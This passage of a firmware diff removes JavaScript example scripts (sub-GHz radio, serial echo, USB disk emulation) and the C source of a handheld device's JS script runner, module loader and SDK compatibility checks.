print(upperCaseText);
let lowerCaseText = "Text in lower case: " + sampleText.toLowerCase();
print(lowerCaseText);

View File

@@ -1,48 +0,0 @@
// Script cannot work without subghz module so check before
checkSdkFeatures(["subghz"]);
let subghz = require("subghz");
subghz.setup();
function printRXline() {
if (subghz.getState() !== "RX") {
subghz.setRx(); // to RX
}
let rssi = subghz.getRssi();
let freq = subghz.getFrequency();
let ext = subghz.isExternal();
print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext);
}
function changeFrequency(freq) {
if (subghz.getState() !== "IDLE") {
subghz.setIdle(); // need to be idle to change frequency
}
subghz.setFrequency(freq);
}
subghz.setIdle();
print(subghz.getState()); // "IDLE"
subghz.setRx();
print(subghz.getState()); // "RX"
changeFrequency(433920000);
printRXline();
delay(1000);
print("Sending 0.sub")
subghz.transmitFile("/ext/subghz/0.sub");
// Can also specify repeat count: subghz.transmitFile(path, repeat)
// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed
// These 10 repeats by default are to simulate holding the button on remote
print("Send success");
delay(1000);
changeFrequency(315000000);
printRXline();
// Optional, done automatically at script end
subghz.end()
// But can be used to setup again, which will retry to detect external modules

View File

@@ -1,14 +0,0 @@
let serial = require("serial");
serial.setup("usart", 230400);
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}
// There's also serial.end(), so you can serial.setup() again in same script
// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads

View File

@@ -1,15 +0,0 @@
// This script is like uart_echo, except it uses 8E1 framing (8 data bits, even
// parity, 1 stop bit) as opposed to the default 8N1 (8 data bits, no parity,
// 1 stop bit)
let serial = require("serial");
serial.setup("usart", 230400, { dataBits: "8", parity: "even", stopBits: "1" });
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}

View File

@@ -1,39 +0,0 @@
// Script cannot work without usbdisk module so check before
checkSdkFeatures(["usbdisk"]);
let usbdisk = require("usbdisk");
let storage = require("storage");
let imagePath = "/ext/apps_data/mass_storage/128MB.img";
let imageSize = 128 * 1024 * 1024;
let imageExisted = storage.fileExists(imagePath);
if (imageExisted) {
print("Disk image '128MB' already exists");
} else {
// CreateImage isn't necessary to overall function, check when its used not at script start
if (doesSdkSupport(["usbdisk-createimage"])) {
print("Creating disk image '128MB'...");
usbdisk.createImage(imagePath, imageSize);
} else {
die("Disk image '128MB' not present, can't auto-create");
}
}
print("Starting UsbDisk...");
usbdisk.start("/ext/apps_data/mass_storage/128MB.img");
print("Started, waiting until ejected...");
while (!usbdisk.wasEjected()) {
delay(1000);
}
print("Ejected, stopping UsbDisk...");
usbdisk.stop();
if (!imageExisted) {
print("Removing disk image...");
storage.remove(imagePath);
}
print("Done");

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 B

View File

@@ -1,217 +0,0 @@
#include <dialogs/dialogs.h>
#include "js_thread.h"
#include <storage/storage.h>
#include "js_app_i.h"
#include <toolbox/path.h>
#include <assets_icons.h>
#include <toolbox/cli/cli_command.h>
#include <cli/cli_main_commands.h>
#include <toolbox/pipe.h>
#define TAG "JS app"
typedef struct {
JsThread* js_thread;
Gui* gui;
ViewDispatcher* view_dispatcher;
Loading* loading;
JsConsoleView* console_view;
} JsApp;
static uint32_t js_view_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
}
static void js_app_compact_trace(FuriString* trace_str) {
// Keep only first line
size_t line_end = furi_string_search_char(trace_str, '\n');
if(line_end > 0) {
furi_string_left(trace_str, line_end);
}
// Remove full path
FuriString* file_name = furi_string_alloc();
size_t filename_start = furi_string_search_rchar(trace_str, '/');
if(filename_start > 0) {
filename_start++;
furi_string_set_n(
file_name, trace_str, filename_start, furi_string_size(trace_str) - filename_start);
furi_string_printf(trace_str, "at %s", furi_string_get_cstr(file_name));
}
furi_string_free(file_name);
}
static void js_callback(JsThreadEvent event, const char* msg, void* context) {
JsApp* app = context;
furi_assert(app);
if(event == JsThreadEventDone) {
FURI_LOG_I(TAG, "Script done");
console_view_print(app->console_view, "--- DONE ---");
} else if(event == JsThreadEventPrint) {
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventError) {
console_view_print(app->console_view, "--- ERROR ---");
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventErrorTrace) {
FuriString* compact_trace = furi_string_alloc_set_str(msg);
js_app_compact_trace(compact_trace);
console_view_print(app->console_view, furi_string_get_cstr(compact_trace));
furi_string_free(compact_trace);
console_view_print(app->console_view, "See logs for full trace");
}
}
static JsApp* js_app_alloc(void) {
JsApp* app = malloc(sizeof(JsApp));
app->view_dispatcher = view_dispatcher_alloc();
app->loading = loading_alloc();
app->gui = furi_record_open("gui");
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewLoading, loading_get_view(app->loading));
app->console_view = console_view_alloc();
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewConsole, console_view_get_view(app->console_view));
view_set_previous_callback(console_view_get_view(app->console_view), js_view_exit);
view_dispatcher_switch_to_view(app->view_dispatcher, JsAppViewConsole);
return app;
}
static void js_app_free(JsApp* app) {
console_view_free(app->console_view);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewConsole);
loading_free(app->loading);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewLoading);
view_dispatcher_free(app->view_dispatcher);
furi_record_close("gui");
free(app);
}
int32_t js_app(void* arg) {
JsApp* app = js_app_alloc();
FuriString* script_path = furi_string_alloc_set(EXT_PATH("apps/Scripts"));
do {
if(arg != NULL && strlen(arg) > 0) {
furi_string_set(script_path, (const char*)arg);
} else {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(&browser_options, ".js", &I_js_script_10px);
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
if(!dialog_file_browser_show(dialogs, script_path, script_path, &browser_options))
break;
furi_record_close(RECORD_DIALOGS);
}
FuriString* name = furi_string_alloc();
path_extract_filename(script_path, name, false);
FuriString* start_text =
furi_string_alloc_printf("Running %s", furi_string_get_cstr(name));
console_view_print(app->console_view, furi_string_get_cstr(start_text));
console_view_print(app->console_view, "-------------");
furi_string_free(name);
furi_string_free(start_text);
app->js_thread = js_thread_run(furi_string_get_cstr(script_path), js_callback, app);
view_dispatcher_run(app->view_dispatcher);
js_thread_stop(app->js_thread);
} while(0);
furi_string_free(script_path);
js_app_free(app);
return 0;
} //-V773
typedef struct {
PipeSide* pipe;
FuriSemaphore* exit_sem;
} JsCliContext;
static void js_cli_print(JsCliContext* ctx, const char* msg) {
UNUSED(ctx);
UNUSED(msg);
pipe_send(ctx->pipe, msg, strlen(msg));
}
static void js_cli_exit(JsCliContext* ctx) {
furi_check(furi_semaphore_release(ctx->exit_sem) == FuriStatusOk);
}
static void js_cli_callback(JsThreadEvent event, const char* msg, void* context) {
JsCliContext* ctx = context;
switch(event) {
case JsThreadEventError:
js_cli_print(ctx, "---- ERROR ----\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventErrorTrace:
js_cli_print(ctx, "Trace:\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
js_cli_exit(ctx); // Exit when an error occurs
break;
case JsThreadEventPrint:
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventDone:
js_cli_print(ctx, "Script done!\r\n");
js_cli_exit(ctx);
break;
}
}
void js_cli_execute(PipeSide* pipe, FuriString* args, void* context) {
UNUSED(context);
const char* path = furi_string_get_cstr(args);
Storage* storage = furi_record_open(RECORD_STORAGE);
do {
if(furi_string_size(args) == 0) {
printf("Usage:\r\njs <path>\r\n");
break;
}
if(!storage_file_exists(storage, path)) {
printf("Can not open file %s\r\n", path);
break;
}
JsCliContext ctx = {.pipe = pipe};
ctx.exit_sem = furi_semaphore_alloc(1, 0);
printf("Running script %s, press CTRL+C to stop\r\n", path);
JsThread* js_thread = js_thread_run(path, js_cli_callback, &ctx);
while(furi_semaphore_acquire(ctx.exit_sem, 100) != FuriStatusOk) {
if(cli_is_pipe_broken_or_is_etx_next_char(pipe)) break;
}
js_thread_stop(js_thread);
furi_semaphore_free(ctx.exit_sem);
} while(false);
furi_record_close(RECORD_STORAGE);
}
void js_app_on_system_start(void) {
#ifdef SRV_CLI
CliRegistry* registry = furi_record_open(RECORD_CLI);
cli_registry_add_command(registry, "js", CliCommandFlagDefault, js_cli_execute, NULL);
furi_record_close(RECORD_CLI);
#endif
}

View File

@@ -1,10 +0,0 @@
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/loading.h>
#include "views/console_view.h"
typedef enum {
JsAppViewConsole,
JsAppViewLoading,
} JsAppView;

View File

@@ -1,338 +0,0 @@
#include <core/common_defines.h>
#include "js_modules.h"
#include <m-array.h>
#include <dialogs/dialogs.h>
#include <assets_icons.h>
#include "modules/js_flipper.h"
#ifdef FW_CFG_unit_tests
#include "modules/js_tests.h"
#endif
#define TAG "JS modules"
// Absolute path is used to make possible plugin load from CLI
#define MODULES_PATH "/ext/apps_data/js_app/plugins"
typedef struct {
FuriString* name;
const JsModuleConstructor create;
const JsModuleDestructor destroy;
void* context;
} JsModuleData;
// not using:
// - a dict because ordering is required
// - a bptree because it forces a sorted ordering
// - an rbtree because i deemed it more tedious to implement, and with the
// amount of modules in use (under 10 in the overwhelming majority of cases)
// i bet it's going to be slower than a plain array
ARRAY_DEF(JsModuleArray, JsModuleData, M_POD_OPLIST); //-V658
#define M_OPL_JsModuleArray_t() ARRAY_OPLIST(JsModuleArray)
static const JsModuleDescriptor modules_builtin[] = {
{"flipper", js_flipper_create, NULL, NULL},
#ifdef FW_CFG_unit_tests
{"tests", js_tests_create, NULL, NULL},
#endif
};
struct JsModules {
struct mjs* mjs;
JsModuleArray_t modules;
PluginManager* plugin_manager;
CompositeApiResolver* resolver;
};
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver) {
JsModules* modules = malloc(sizeof(JsModules));
modules->mjs = mjs;
JsModuleArray_init(modules->modules);
modules->plugin_manager = plugin_manager_alloc(
PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver));
modules->resolver = resolver;
return modules;
}
void js_modules_destroy(JsModules* instance) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
FURI_LOG_T(TAG, "Tearing down %s", furi_string_get_cstr(module->name));
if(module->destroy) module->destroy(module->context);
furi_string_free(module->name);
}
plugin_manager_free(instance->plugin_manager);
JsModuleArray_clear(instance->modules);
free(instance);
}
JsModuleData* js_find_loaded_module(JsModules* instance, const char* name) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
if(furi_string_cmp_str(module->name, name) == 0) return module;
}
return NULL;
}
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len) {
// Ignore the initial part of the module name
const char* optional_module_prefix = "@" JS_SDK_VENDOR "/fz-sdk/";
if(strncmp(name, optional_module_prefix, strlen(optional_module_prefix)) == 0) {
name += strlen(optional_module_prefix);
}
// Check if module is already installed
JsModuleData* module_inst = js_find_loaded_module(modules, name);
if(module_inst) { //-V547
mjs_prepend_errorf(
modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module is already installed", name);
return MJS_UNDEFINED;
}
bool module_found = false;
// Check built-in modules
for(size_t i = 0; i < COUNT_OF(modules_builtin); i++) { //-V1008
size_t name_compare_len = strlen(modules_builtin[i].name);
if(name_compare_len != name_len) {
continue;
}
if(strncmp(name, modules_builtin[i].name, name_compare_len) == 0) {
JsModuleData module = {
.create = modules_builtin[i].create,
.destroy = modules_builtin[i].destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
module_found = true;
FURI_LOG_I(TAG, "Using built-in module %s", name);
break;
}
}
// External module load
if(!module_found) {
FuriString* deslashed_name = furi_string_alloc_set_str(name);
furi_string_replace_all_str(deslashed_name, "/", "__");
FuriString* module_path = furi_string_alloc();
furi_string_printf(
module_path, "%s/js_%s.fal", MODULES_PATH, furi_string_get_cstr(deslashed_name));
FURI_LOG_I(
TAG, "Loading external module %s from %s", name, furi_string_get_cstr(module_path));
do {
uint32_t plugin_cnt_last = plugin_manager_get_count(modules->plugin_manager);
PluginManagerError load_error = plugin_manager_load_single(
modules->plugin_manager, furi_string_get_cstr(module_path));
if(load_error != PluginManagerErrorNone) {
FURI_LOG_E(
TAG,
"Module %s load error. It may depend on other modules that are not yet loaded.",
name);
break;
}
const JsModuleDescriptor* plugin =
plugin_manager_get_ep(modules->plugin_manager, plugin_cnt_last);
furi_assert(plugin);
if(furi_string_cmp_str(deslashed_name, plugin->name) != 0) {
FURI_LOG_E(TAG, "Module name mismatch %s", plugin->name);
break;
}
JsModuleData module = {
.create = plugin->create,
.destroy = plugin->destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
if(plugin->api_interface) {
FURI_LOG_I(TAG, "Added module API to composite resolver: %s", plugin->name);
composite_api_resolver_add(modules->resolver, plugin->api_interface);
}
module_found = true;
} while(0);
furi_string_free(module_path);
furi_string_free(deslashed_name);
}
// Run module constructor
mjs_val_t module_object = MJS_UNDEFINED;
if(module_found) {
module_inst = js_find_loaded_module(modules, name);
furi_assert(module_inst);
if(module_inst->create) { //-V779
module_inst->context = module_inst->create(modules->mjs, &module_object, modules);
}
}
if(module_object == MJS_UNDEFINED) { //-V547
mjs_prepend_errorf(modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module load fail", name);
}
return module_object;
}
void* js_module_get(JsModules* modules, const char* name) {
FuriString* module_name = furi_string_alloc_set_str(name);
JsModuleData* module_inst = js_find_loaded_module(modules, name);
furi_string_free(module_name);
return module_inst ? module_inst->context : NULL;
}
typedef enum {
JsSdkCompatStatusCompatible,
JsSdkCompatStatusFirmwareTooOld,
JsSdkCompatStatusFirmwareTooNew,
} JsSdkCompatStatus;
/**
* @brief Checks compatibility between the firmware and the JS SDK version
* expected by the script
*/
static JsSdkCompatStatus
js_internal_sdk_compatibility_status(int32_t exp_major, int32_t exp_minor) {
if(exp_major < JS_SDK_MAJOR) return JsSdkCompatStatusFirmwareTooNew;
if(exp_major > JS_SDK_MAJOR || exp_minor > JS_SDK_MINOR)
return JsSdkCompatStatusFirmwareTooOld;
return JsSdkCompatStatusCompatible;
}
static const JsValueDeclaration js_sdk_version_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_sdk_version_args = JS_VALUE_ARGS(js_sdk_version_arg_list);
void js_sdk_compatibility_status(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
switch(status) {
case JsSdkCompatStatusCompatible:
mjs_return(mjs, mjs_mk_string(mjs, "compatible", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooOld:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooOld", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooNew:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooNew", ~0, 0));
return;
}
}
void js_is_sdk_compatible(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
mjs_return(mjs, mjs_mk_boolean(mjs, status == JsSdkCompatStatusCompatible));
}
/**
* @brief Asks the user whether to continue executing an incompatible script
*/
static bool js_internal_compat_ask_user(const char* message) {
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
DialogMessage* dialog = dialog_message_alloc();
dialog_message_set_header(dialog, message, 64, 0, AlignCenter, AlignTop);
dialog_message_set_text(
dialog, "This script may not\nwork as expected", 79, 32, AlignCenter, AlignCenter);
dialog_message_set_icon(dialog, &I_Warning_30x23, 0, 18);
dialog_message_set_buttons(dialog, "Go back", NULL, "Run anyway");
DialogMessageButton choice = dialog_message_show(dialogs, dialog);
dialog_message_free(dialog);
furi_record_close(RECORD_DIALOGS);
return choice == DialogMessageButtonRight;
}
void js_check_sdk_compatibility(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
if(status != JsSdkCompatStatusCompatible) {
FURI_LOG_E(
TAG,
"Script requests JS SDK %ld.%ld, firmware provides JS SDK %d.%d",
major,
minor,
JS_SDK_MAJOR,
JS_SDK_MINOR);
const char* message = (status == JsSdkCompatStatusFirmwareTooOld) ? "Outdated Firmware" :
"Outdated Script";
if(!js_internal_compat_ask_user(message)) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}
static const char* extra_features[] = {
"baseline", // dummy "feature"
"gpio-pwm",
"gui-widget",
"serial-framing",
"gui-widget-extras",
// extra modules
"blebeacon",
"i2c",
"spi",
"infrared-send",
"subghz",
"usbdisk",
"vgm",
};
/**
* @brief Determines whether a feature is supported
*/
static bool js_internal_supports(const char* feature) {
for(size_t i = 0; i < COUNT_OF(extra_features); i++) { // -V1008
if(strcmp(feature, extra_features[i]) == 0) return true;
}
return false;
}
/**
* @brief Determines whether all of the requested features are supported
*/
static bool js_internal_supports_all_of(struct mjs* mjs, mjs_val_t feature_arr) {
furi_assert(mjs_is_array(feature_arr));
for(size_t i = 0; i < mjs_array_length(mjs, feature_arr); i++) {
mjs_val_t feature = mjs_array_get(mjs, feature_arr, i);
const char* feature_str = mjs_get_string(mjs, &feature, NULL);
if(!feature_str) return false;
if(!js_internal_supports(feature_str)) return false;
}
return true;
}
static const JsValueDeclaration js_sdk_features_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAnyArray),
};
static const JsValueArguments js_sdk_features_args = JS_VALUE_ARGS(js_sdk_features_arg_list);
void js_does_sdk_support(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
mjs_return(mjs, mjs_mk_boolean(mjs, js_internal_supports_all_of(mjs, features)));
}
void js_check_sdk_features(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
if(!js_internal_supports_all_of(mjs, features)) {
FURI_LOG_E(TAG, "Script requests unsupported features");
if(!js_internal_compat_ask_user("Unsupported Feature")) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}

View File

@@ -1,149 +0,0 @@
#pragma once
#include <stdint.h>
#include "js_thread_i.h"
#include "js_value.h"
#include <flipper_application/flipper_application.h>
#include <flipper_application/plugins/plugin_manager.h>
#include <flipper_application/plugins/composite_resolver.h>
#ifdef __cplusplus
extern "C" {
#endif
#define PLUGIN_APP_ID "js"
#define PLUGIN_API_VERSION 1
#define JS_SDK_VENDOR_FIRMWARE "unleashed"
#define JS_SDK_VENDOR "flipperdevices"
#define JS_SDK_MAJOR 1
#define JS_SDK_MINOR 0
/**
* @brief Returns the foreign pointer in `obj["_"]`
*/
#define JS_GET_INST(mjs, obj) mjs_get_ptr(mjs, mjs_get(mjs, obj, INST_PROP_NAME, ~0))
/**
* @brief Returns the foreign pointer in `this["_"]`
*/
#define JS_GET_CONTEXT(mjs) JS_GET_INST(mjs, mjs_get_this(mjs))
/**
* @brief Syntax sugar for constructing an object
*
* Example:
*
* mjs_val_t my_obj = mjs_mk_object(mjs);
* JS_ASSIGN_MULTI(mjs, my_obj) {
* JS_FIELD("method1", MJS_MK_FN(js_storage_file_is_open));
* JS_FIELD("method2", MJS_MK_FN(js_storage_file_is_open));
* }
*/
#define JS_ASSIGN_MULTI(mjs, object) \
for(struct { \
struct mjs* mjs; \
mjs_val_t val; \
int i; \
} _ass_multi = {mjs, object, 0}; \
_ass_multi.i == 0; \
_ass_multi.i++)
#define JS_FIELD(name, value) mjs_set(_ass_multi.mjs, _ass_multi.val, name, ~0, value)
/**
* @brief The first word of structures that foreign pointer JS values point to
*
* This is used to detect situations where JS code mistakenly passes an opaque
* foreign pointer of one type as an argument to a native function which expects
* a struct of another type.
*
* It is recommended to use this functionality in conjunction with the following
* convenience verification macros:
* - `JS_ARG_STRUCT()`
* - `JS_ARG_OBJ_WITH_STRUCT()`
*
* @warning In order for the mechanism to work properly, your struct must store
* the magic value in the first word.
*/
typedef enum {
JsForeignMagicStart = 0x15BAD000,
JsForeignMagic_JsEventLoopContract,
} JsForeignMagic;
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* from the C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN(mjs, error_code, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return; \
} while(0)
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* a value C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN_VAL(mjs, error_code, ret_val, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return ret_val; \
} while(0)
typedef struct JsModules JsModules;
typedef void* (*JsModuleConstructor)(struct mjs* mjs, mjs_val_t* object, JsModules* modules);
typedef void (*JsModuleDestructor)(void* inst);
typedef struct {
char* name;
JsModuleConstructor create;
JsModuleDestructor destroy;
const ElfApiInterface* api_interface;
} JsModuleDescriptor;
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver);
void js_modules_destroy(JsModules* modules);
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len);
/**
* @brief Gets a module instance by its name
* This is useful when a module wants to access a stateful API of another
* module.
* @returns Pointer to module context, NULL if the module is not instantiated
*/
void* js_module_get(JsModules* modules, const char* name);
/**
* @brief `sdkCompatibilityStatus` function
*/
void js_sdk_compatibility_status(struct mjs* mjs);
/**
* @brief `isSdkCompatible` function
*/
void js_is_sdk_compatible(struct mjs* mjs);
/**
* @brief `checkSdkCompatibility` function
*/
void js_check_sdk_compatibility(struct mjs* mjs);
/**
* @brief `doesSdkSupport` function
*/
void js_does_sdk_support(struct mjs* mjs);
/**
* @brief `checkSdkFeatures` function
*/
void js_check_sdk_features(struct mjs* mjs);
#ifdef __cplusplus
}
#endif

View File

@@ -1,357 +0,0 @@
#include <common/cs_dbg.h>
#include <toolbox/path.h>
#include <toolbox/stream/file_stream.h>
#include <toolbox/strint.h>
#include <loader/firmware_api/firmware_api.h>
#include <flipper_application/api_hashtable/api_hashtable.h>
#include <flipper_application/plugins/composite_resolver.h>
#include <furi_hal.h>
#include "plugin_api/app_api_interface.h"
#include "js_thread.h"
#include "js_thread_i.h"
#include "js_modules.h"
#define TAG "JS"
struct JsThread {
FuriThread* thread;
FuriString* path;
CompositeApiResolver* resolver;
JsThreadCallback app_callback;
void* context;
JsModules* modules;
};
static void js_str_print(FuriString* msg_str, struct mjs* mjs) {
size_t num_args = mjs_nargs(mjs);
for(size_t i = 0; i < num_args; i++) {
char* name = NULL;
size_t name_len = 0;
int need_free = 0;
mjs_val_t arg = mjs_arg(mjs, i);
mjs_err_t err = mjs_to_string(mjs, &arg, &name, &name_len, &need_free);
if(err != MJS_OK) {
furi_string_cat_printf(msg_str, "err %s ", mjs_strerror(mjs, err));
} else {
furi_string_cat_printf(msg_str, "%s ", name);
}
if(need_free) {
free(name);
name = NULL;
}
}
}
static void js_print(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
if(worker->app_callback) {
worker->app_callback(JsThreadEventPrint, furi_string_get_cstr(msg_str), worker->context);
} else {
FURI_LOG_D(TAG, "%s\r\n", furi_string_get_cstr(msg_str));
}
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_log(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_warn(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_W(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_error(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_E(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_debug(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_D(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_exit_flag_poll(struct mjs* mjs) {
uint32_t flags = furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, 0);
if(flags & FuriFlagError) {
return;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
}
bool js_delay_with_flags(struct mjs* mjs, uint32_t time) {
uint32_t flags =
furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, time);
if(flags & FuriFlagError) {
return false;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
return true;
}
return false;
}
void js_flags_set(struct mjs* mjs, uint32_t flags) {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
furi_thread_flags_set(furi_thread_get_id(worker->thread), flags);
}
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags_mask, uint32_t timeout) {
flags_mask |= ThreadEventStop;
uint32_t flags = furi_thread_flags_get();
furi_check((flags & FuriFlagError) == 0);
if(flags == 0) {
flags = furi_thread_flags_wait(flags_mask, FuriFlagWaitAny | FuriFlagNoClear, timeout);
} else {
uint32_t state = furi_thread_flags_clear(flags & flags_mask);
furi_check((state & FuriFlagError) == 0);
}
if(flags & FuriFlagError) {
return 0;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
return flags;
}
static void js_delay(struct mjs* mjs) {
bool args_correct = false;
int ms = 0;
if(mjs_nargs(mjs) == 1) {
mjs_val_t arg = mjs_arg(mjs, 0);
if(mjs_is_number(arg)) {
ms = mjs_get_int(mjs, arg);
args_correct = true;
}
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
js_delay_with_flags(mjs, ms);
mjs_return(mjs, MJS_UNDEFINED);
}
static void* js_dlsym(void* handle, const char* name) {
CompositeApiResolver* resolver = handle;
Elf32_Addr addr = 0;
uint32_t hash = elf_symbolname_hash(name);
const ElfApiInterface* api = composite_api_resolver_get(resolver);
if(!api->resolver_callback(api, hash, &addr)) {
FURI_LOG_E(TAG, "FFI: cannot find \"%s\"", name);
return NULL;
}
return (void*)addr;
}
static void js_ffi_address(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
void* addr = mjs_ffi_resolve(mjs, name);
mjs_return(mjs, mjs_mk_foreign(mjs, addr));
}
static void js_require(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
mjs_val_t req_object = MJS_UNDEFINED;
if((len == 0) || (name == NULL)) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "String argument is expected");
} else {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
req_object = js_module_require(worker->modules, name, len);
}
mjs_return(mjs, req_object);
}
static void js_parse_int(struct mjs* mjs) {
static const JsValueDeclaration js_parse_int_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 10),
};
static const JsValueArguments js_parse_int_args = JS_VALUE_ARGS(js_parse_int_arg_list);
const char* str;
int32_t base;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_parse_int_args, &str, &base);
int32_t num;
if(strint_to_int32(str, NULL, &num, base) != StrintParseNoError) {
num = 0;
}
mjs_return(mjs, mjs_mk_number(mjs, num));
}
#ifdef JS_DEBUG
static void js_dump_write_callback(void* ctx, const char* format, ...) {
File* file = ctx;
furi_assert(ctx);
FuriString* str = furi_string_alloc();
va_list args;
va_start(args, format);
furi_string_vprintf(str, format, args);
furi_string_cat(str, "\n");
va_end(args);
storage_file_write(file, furi_string_get_cstr(str), furi_string_size(str));
furi_string_free(str);
}
#endif
static int32_t js_thread(void* arg) {
JsThread* worker = arg;
worker->resolver = composite_api_resolver_alloc();
composite_api_resolver_add(worker->resolver, firmware_api_interface);
composite_api_resolver_add(worker->resolver, application_api_interface);
struct mjs* mjs = mjs_create(worker);
worker->modules = js_modules_create(mjs, worker->resolver);
mjs_val_t global = mjs_get_global(mjs);
mjs_val_t console_obj = mjs_mk_object(mjs);
if(worker->path) {
FuriString* dirpath = furi_string_alloc();
path_extract_dirname(furi_string_get_cstr(worker->path), dirpath);
mjs_set(
mjs,
global,
